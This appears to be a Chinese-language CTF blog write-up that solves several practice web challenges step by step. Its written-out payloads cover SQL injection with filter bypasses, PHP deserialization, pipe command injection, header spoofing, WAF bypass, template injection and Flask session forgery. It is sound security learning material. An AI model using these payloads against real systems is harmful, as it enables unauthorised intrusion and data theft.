CTF刷题记录(三)

[极客大挑战 2019]LoveSQL

image-20220415193955655

都输入admin’ or 1=1 # ,回显image-20220415194017344

存在注入漏洞,抓包,进行注入

admin' order by 3#有回显

admin' order by 4#回显错误,说明有3个注入点
image-20220415194031190
1' union select 1,2,3 #确认回显位置可以是2,3
image-20220415194034906
1' union select 1,2,database() #查库
image-20220415194038326
1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() #查表
image-20220415194043672

根据题目名提示,flag应该在第二个表,查列

1' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#
image-20220415194048692
查字段1' union select 1,2,group_concat(id,username,password)from l0ve1ysq1#得到flag
image-20220415194053949
image-20220415194057980

[网鼎杯 2020 青龙组]AreUSerialz

题目给出源码

image-20220415194215695

Get方式获取str参数,判断str里全是可打印字符(32-125),然后对str进行反序列化

查看所有函数,若要执行文件包含,则要执行read()函数,传入filename参数,并执行file_get_contents,回去文件内容

image-20220415194231640

要执行read()则要满足process()里的条件,令op=2

image-20220415194247021

要使执行process()函数且op=2则需要构造filehandler类对象,op赋值为2,filename传入文件包含的构造参数,执行构造函数则能执行process()

image-20220415194308671

整个流程

创造一个op=2,filename=”文件包含参数”的filehandler对象,执行构造函数中的process(),op=2则执行read(),read()传入filename并执行file_get_contents函数,读取文件内容

文件包含参数选择使用伪协议读取

filename="php://filter/read=convert.base64-encode/resource=flag.php"

构造playload

这里用到php7.1,对属性类型不敏感,public属性序列化不会出现不可见字符,可以直接采用public而不需要用到protected属性

若使用protected属性,则要在变量面前加上\00*\00,且用大写S表示为字符串

image-20220415194400976
image-20220415194407442

Get方式传入str参数,得到flag的base64编码,解码得flag

image-20220415194415155
image-20220415194421129
image-20220415194425611

[ACTF2020 新生赛]Exec

输入一个ip地址返回ping的结果,当输入|ls有回显,说明存在管道符漏洞

image-20220415194447458

为防止重定向,抓包再直接输入|cat /flag(|直接执行后者语句),得到flag

image-20220415194506939

[极客大挑战 2019]Http

查看源码发现隐藏的php

image-20220415194519961

进行访问,显示不是来自“https://Sycsecret.buuoj.cn”, 猜测是否要提供该条件才能获得flag

image-20220415194548082

抓包,请求头缺少Referer

image-20220415194603655

补上Referer:https://Sycsecret.buuoj.cn后,显示没有使用给定浏览器

image-20220415194618175

改变User-Agent:Syclover,显示只能本地读取

image-20220415194629075

加上X-Forwarded-For:127.0.0.1确定请求端ip为本地,返回flag

image-20220415194641407
image-20220415194645741

[RoarCTF 2019]Easy Calc

抓包,查看源码,存在waf,以及calc.php文件

image-20220415194708312

查看calc.php,看到对num的过滤函数

image-20220415194717657

php字符串解析漏洞:

空格绕过,当php解析url时,会将数据转化成数组格式,例如

/?foo=bar变成Array([foo] => “bar”)

这个过程会删除一些字符或用下划线替代,例如

/?%20news[id%00=42会转换为Array([news_id] => 42)

由于题目waf是对非数字值的拦截,则可以利用空格绕过,例如

/?%20num=phpinfo()

经过waf检验时,由于空格,waf检验的变量为%20num而非num,但在php解析时空格会被去掉,即解析成num,绕过了检查。

image-20220415194955271

绕过成功,再使用scandir函数扫描dir目录,利用var_dumo()函数输出变量值

构造

%20num=var_dump(scandir(/))

因为waf过滤‘/’,用chr(47)绕过

%20num=var_dump(scandir(chr(47)))

找到f1agg目录

image-20220415195052052

再利用file_get_contents()函数读取文件,文件名/f1agg,同样使用chr绕过‘/’,得到flag

image-20220415195107826

[极客大挑战 2019]PHP

提示有备份网站

image-20220415195122690

对网站进行扫描,发现备份网站

image-20220415195130649

访问备份网站下载文件包,打开文件,给了个假flag

image-20220415195137557

查看所有php文件,存在反序列化漏洞

image-20220415195146389
image-20220415195204229

需要构造name类,使参数username===adminpassword==100绕过解析函数第一个条件限制,同时还要绕过wakeup函数

构造函数

image-20220415195252295

得到

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

改变参数个数绕过wakeup函数,由于参数是private属性,采用%00进行绕过

playload: ?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

得到falg

image-20220415195340436

[极客大挑战 2019]BabySQL

抓包,进行简单测试,发现过滤了or,采用双写绕过

username=admin'oorr('1'='1')#,password= admin'oorr 1>1#
image-20220415195359422
username=admin'oorrder bbyy 3#双写绕过order by
image-20220415195403625
1'ununionion seselectlect 1,2,3#回显双写绕过union select
image-20220415195600958
1'ununionion seselectlect 1,2,database()#暴库
image-20220415195605228
1'ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata)#双写绕过from和information,发现可以库
image-20220415195611432
1'ununionion seselectlect 1,2,group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema='ctf'#双写绕过where,查表
image-20220415195615663
1'ununionion seselectlect 1,2,group_concat(column_name)frfromom(infoorrmation_schema.columns) whwhereere table_name='Flag'#查列
1'ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)#查字段
image-20220415195632681

[护网杯 2018]easy_tornado

题目给了三个提示,分别是flag in /fllllllllllllag,render,md5(cookie_secret+md5(filename))

分别提示flag所在文件,模板注入,以及filehash计算公式

需要获取cookie_secret值,由于render函数配合tornado使用,在tornado模板中可以快速访问某些对象,通过handler.settings参数,我们可以获得一些环境变量,其中就包含cookie_secret

输入错误的路径参数,返回一个错误页面,存在get传参,也就是模板注入的参数

image-20220415195733520

模板注入请求handler.settings参数,返回cookie_secret

image-20220415195742513

通过脚本利用公式获得filehash值

image-20220415195753354
file?filename=/fllllllllllllag&filehash=af86ca897d78fd6eb99b3cbe61eb3731

得到flag

image-20220415195824324

[HCTF 2018]admin

源码提示不是admin,猜测要登录admin账号才能获得flag

image-20220415195837552

随便注册一个账号后登录,在改密码页面发现题目源码地址

image-20220415195844737

抓包,POST方式上传参数,cookie里有session参数,可以通过伪造session参数欺骗后台系统

image-20220415195854297

下载源码后,在config.py找到secret_key值用于构造session

image-20220415195916702

通过flask-session-cookie-manager-master工具解密当前session

image-20220415195927081

再用工具构造name:admin

image-20220415195933672

修改session,上传得flag

image-20220415195944224

[BJDCTF2020]Easy MD5

抓包发现响应包消息头有提示

image-20220415195958451

php中的md5(string,raw)

String::必需。规定要计算的字符串。

Raw: 可选。规定十六进制或二进制输出格式:

TRUE - 原始 16 字符二进制格式

FALSE - 默认。32 字符十六进制数

则题中的md5函数意思是计算$pass输出16字符二进制格式

我们可以通过构造$pass生成一个可执行语句嵌入sql语句当中,使之执行。据网上的资料

ffifdyop通过上述函数运算后得出的结果是'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c对应字符串为'or'6�]��!r,��b,当password=’md5(‘ffifdyop’,true)’时得到的结果是,password=’ 'or'6�]��!r,��b’

在mysql中,布尔判断时会把1开头的字符串当做整型数,当字符串被双单引号括起来的时候是有效的

即'6�]��!r,��b’在布尔判断时会被当成整型数,则整个语句相当于password=’’or true,即判断为真,成为了万能密码

当提交ffifdyop后,密码判断通过,跳转至另一个界面

image-20220415200255186

源码里给出提示,这里get传参a和b,判断a,b不相同,且md5($a)==md5($d)

image-20220415200312013
在php语言中==比较会把字符串转化成相同的类型再进行比较,当数值与字符串进行比较时,会将字符串转化成数值。当"0e123456"=="0e456789"进行比较时,0e字符串会被识别成科学计数法数字,0的多少次方都为0,故判断两字符串相等

故要绕过MD5比较,寻找两个能生成0e+数字的字符串即可判断为相等

image-20220415200341536
传参a= s214587387a,b= s878926199a
image-20220415200422964

跳转页面

image-20220415200442865

给出的源码,因为post传参数param1和param2两值不相等,且md5值===强比较相等

强比较难以绕过,但是可以通过md5错误返回值进行判断,即上传一个md5函数不能处理的值,如数组,则md5将返回false,当两边都返回false时,判断位相等

同样,上面的弱比较使用传数组的方法也能通过验证

image-20220415200617118

返回新页面,成功绕过弱比较

在强比较中,post方法传参param1[]=1&param2[]=2得到flag

image-20220415200640472